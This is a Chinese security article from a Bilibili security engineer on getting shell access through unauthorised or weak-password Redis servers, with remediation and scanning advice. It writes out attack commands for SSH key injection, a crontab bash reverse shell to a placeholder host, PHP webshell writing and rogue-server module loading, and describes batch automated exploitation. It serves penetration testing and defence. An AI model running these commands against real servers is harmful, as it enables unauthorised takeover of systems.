redis getshell姿势总结

  • A+
所属分类:安全文章

redis getshell姿势总结


1.redis简介

  redis是一个使用C语言编写,开源高性能非关系型的键值对存储系统,和memcached类似,在企业中一般被当作缓存中间件使用,典型的应用场景如秒杀活动、热点数据缓存和分布式锁等。

  redis按操作系统可分为linux和windows两类,其中持续更新的是linux版本(https://github.com/redis/redis,已更新到6.0.9版本),windows版本已有较长时间未更新(https://github.com/microsoftarchive/redis),因此在实战中一般遇到linux版本redis偏多,本篇研究对象也以linux版本的redis为主。 

redis getshell姿势总结
redis getshell姿势总结

1.1 redis相关基础命令

(1)redis连接
      redis-cli -h 127.0.0.1 -p 6379 -a 123456
      -h + ip地址,-p + 端口号,-a + 连接密码
(2)选择数据库
      Select 1
    默认使用0号数据库
(3)列出所有key
      keys *
(4)获取/编辑key
      config get xxx
      config set xxx
      可以通过config set命令或修改redis.conf配置文件来修改配置,区别是修改配置文件可持久化更改,而命令设置在redis重启后会失效。
(5)密码设置
      config set requirepass xxxxxx
      配置文件中设置:requirepass xxxxxx,设置完后需重启redis服务


1.2 保护模式

redis在3.2版本新增了保护模式,官方增加这个模式就是为了避免redis在安装完开启后,直接暴露于互联网上从而被攻击。该模式默认开启,开启后redis服务仅能被本机的redis客户端访问。
值得一提的是,如果将redis绑定地址改为其他地址或设置密码后,即使配置文件中配置了”protected-mode yes“,保护模式也会自动失效。
redis getshell姿势总结


1.3 持久化机制

由于redis一般将数据保存在内存中,因此redis提供了RDB和AOF两种持久化机制,防止数据丢失。

redis默认开启rdb持久化机制,即在指定的时间间隔内(也可通过save或bgsave命令触发)将内存中数据以快照方式写入到磁盘上的某个文件中。

命令行中可通过config set dir xxx和config set dbfilename xxx来设置该文件位置。配置文件中可通过dir xxx和dbfilename xxx进行配置。

redis getshell姿势总结


1.4 主从同步

redis为了避免单点故障造成的数据丢失,提供了主从同步功能。主从同步可实现当一台主数据库中的数据更新后,自动将更新的数据同步到其他从数据库上。
命令行和配置文件中均使用slaveof(replicaof) xxx进行配置。
redis getshell姿势总结

1.5 redis modules

redis从4.0版本开始加入自定义模块开发,让用户可以自己根据需求自己扩展redis相关的功能,编译成.so,在redis服务端加载该.so文件后,即可使用。
redis本身支持使用lua脚本来实现一些简单功能,4.0后引入的modules在执行时会比lua脚本执行更快,且官方建议通过modules扩充数据结构和实现组合功能。


2.   redis 多种getshell 姿势

前面花了一定的篇幅介绍redis的一些基础命令和机制,在对redis攻击过程中,我们利用的就是这些机制,在redis未授权或有弱口令的情况下,达到getshell的目的。
redis主要getshell方式如下,后文会详细叙述各方式的适用情况和优缺点:
  • 写文件

            写ssh公钥
           写crontab
           写webshell
  • 主从同步

  •  lua rce

2.1写文件

  在各类姿势中,通过写文件方式getshell是最常用的一种手段。linux中可写ssh公钥、写crontab和写webshell;在windows中可写开机启动项和dll劫持等方式。
  通过写文件方式getshell利用的就是1.3中提到的redis持久化机制。

2.1.1写ssh公钥


  • 适用范围:redis全版本

  • 优点:对于linux机器比较通用

  • 缺点:容易覆盖正常用户ssh公钥


(1)本地创建ssh公钥:ssh-keygen -t rsa
redis getshell姿势总结
(2)将换行符搭配上ssh公钥写入redis的名为hack的key中:
(echo -e “nn”; cat /root/.ssh/id_rsa.pub; echo -e “nn”) > xx.txt
cat xx.txt | redis-cli -h 127.0.0.1 -x set hack
redis getshell姿势总结

(3)连接redis确认key已被写入

redis getshell姿势总结


(4)利用redis持久化机制,将目录切换到/root/.ssh,写入文件名改为authorized_keys,然后使用save命令手动触发持久化,将攻击者ssh公钥写入受害机。
redis getshell姿势总结


(5)最后通过ssh -i命令即可连接受害机。使用这种方式的缺点是由于redis在向文件写入数据时候,不可避免的会夹杂其他数据,导致存在覆盖其他正常用户的风险。
redis getshell姿势总结


2.1.2写crontab

  • 适用范围:redis全版本

  • 优点:适用于无法直连redis情况

  • 缺点:部分linux版本crontab容错性较差


由于linux发行版本众多,经过实测,debain下crontab容错性较差,经常会出现无法反弹回shell的情况,而centos容错性则好很多。此处以可与目标redis直连的情况为例:
(1)redis-cli -h 127.0.0.1连接目标redis
(2)同样利用1.3持久化机制,设置key内容为bash反弹shell,将目录设为crontab目录,文件名改为root
config set dir /var/spool/cron
set x “nn * * * * * /bin/bash -i >&/dev/tcp/x.x.x.x/2233 0>&1nn”
config set dbfilename root
save
redis getshell姿势总结

(3)本地nc监听,获取root权限

redis getshell姿势总结


2.1.3写webshell

  • 适用范围:redis全版本

  • 缺点:利用有一定条件,需要目标开启web服务,知道写入路径且有写入权限


(1)写webshell利用有较多条件限制,需要目标开启web服务且有写入路径和权限,此处以php为例,设置目录为网站所在绝对路径,设置写入文件名
(2)设置key内容为php一句话木马
(3)通过save命令手动触发持久化
redis getshell姿势总结

(4)连接一句话

redis getshell姿势总结


2.2主从同步


  • 适用范围:redis 4.x/5.x

  • 优点:现有exp可直接写入无损文件

  • 缺点:redis版本有一定限制


通过主从同步getshell利用的就是1.4主从同步机制,原理是将将受害机设为主从模式,主端为攻击端,攻击端将恶意.so文件同步到受害端,通过module load命令加载.so文件,从而实现命令执行。exp地址:https://github.com/n0b0dyCN/redis-rogue-server

大致步骤如下:
(1)攻击->受害:slave of xx.xx.xx.xx(攻击端)
(2)攻击->受害:config set dbfilename xx.so
(3)受害->攻击:ping测试连通性
(4)受害->攻击:replconf listeng-port 6379
(5)受害->攻击:replconf capa eof capa psync2
(6)受害->攻击:psync runid
(7)攻击->受害:module load xx.so
(8)攻击->受害:slaveof no one

redis getshell姿势总结

写无损文件大致原理类似,exp地址:https://github.com/r35tart/RedisWriteFile,详细过程不再赘述。


2.3lua rce

  • 适用范围:redis < 2.8.21 或 3.0 =<redis < 3.0.2

  • 缺点:redis版本有较大限制

redis的lua rce漏洞网上公开的相关内容并不算很多,在1.5中有提到redis中支持运行lua。该漏洞根本原因在于redis lua虚拟机指令类型检查缺失,导致执行恶意构造的字节码:
测试如下,服务端会回显命令执行结果。反弹shell可参考:https://github.com/QAX-A-Team/redis_lua_exploit/

3.  修复建议

对于redis未授权/弱密码漏洞有如此多利用姿势,那么在企业内部又该如何修复该问题呢?

很多人可能首先会想到设置强密码,但在redis简介中我们提到,redis应用的场景是秒杀活动和热点数据缓存等,这些场景往往对网络延迟有较高要求,实际情况中,开发往往无法接受设置强密码的修复建议。
因此在企业中对于redis的实际修复建议如下:
1.对redis的访问来源ip进行严格控制
2.redis使用非root权限起

4.  自动化利用实现

对redis的自动化攻击,会从甲方和非甲方两个视角展开,并将侧重于前者的阐述。

4.1甲方视角

对于甲方而言,肯定是不允许redis这种高危服务以任何形式暴露于公网中,而内网也是一个值得注意的点。由于网络隔离做的并不完善,一些企业也会存在办公网或其他内网直接访问生产环境未授权/弱口令redis的风险。
对于这种风险,增量可通过建立网络访问规范和自建DB配置平台等解决,存量问题和持续检测一般可通过周期性的安全扫描实现。商业扫描器对某内网redis扫描结果如下:
redis getshell姿势总结



作为甲方安全工程师,肯定会将确认存在未授权且可被利用的内网redis作为高优先级进行修复推进,其余的作为低优先级,而扫描器往往会一刀切地将所有未授权redis以同一危险等级报出来,其中绝大部分redis已经以非root权限起,危害有限,可结合实际情况进行忽略处理。


对于redis的启动权限判断,可增加扫描逻辑:

(1)下发分布式扫描任务探测内网redis服务

(2)对开启redis的机器判断是否存在未授权/弱口令

(3)若存在未授权/弱口令,则尝试向/root目录下写(md5(xxx)).txt文件

(4)若写入成功,则目标redis存在较大风险,需立即修复

python版本样例运行结果如下:

redis getshell姿势总结


4.2非甲方视角

非甲方视角类似,可使用nmap对redis服务先进行识别,对存在未授权/弱口令的目标,自动化反弹shell,批量获取权限。在不考虑对业务的影响下,具体利用方式优先级如下:
(1)写ssh公钥
(2)写crontab
(3)主从同步
(4)写webshell
(5)lua rce
自动化识别redis服务+getshell脚本演示如下,以redis5和6版本为例,通过主从同步和crontab两种方式getshell:

redis getshell姿势总结


5.总结

以上主要介绍了与redis漏洞利用相关的几个功能,总结了多种getshell姿势,并给出了落地修复建议,最后从两个视角阐述了自动化利用实现。另外对于redis中数据还有反序列化利用场景,但本质上不是redis的漏洞,此处不做探讨。

作者简介

ATpiu,bilibili高级安全工程师,现负责b站渗透测试和安全开发工作。


哔哩哔哩安全现招聘数据安全、基础安全、办公安全、安全产品研发、业务安全、业务风控、SDLC、业务蓝军、移动APP安全工程师/专家,欢迎感兴趣的同学投递简历至:[email protected](邮件标题请注明:岗位+姓名)

本文始发于微信公众号(哔哩哔哩安全应急响应中心):redis getshell姿势总结

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: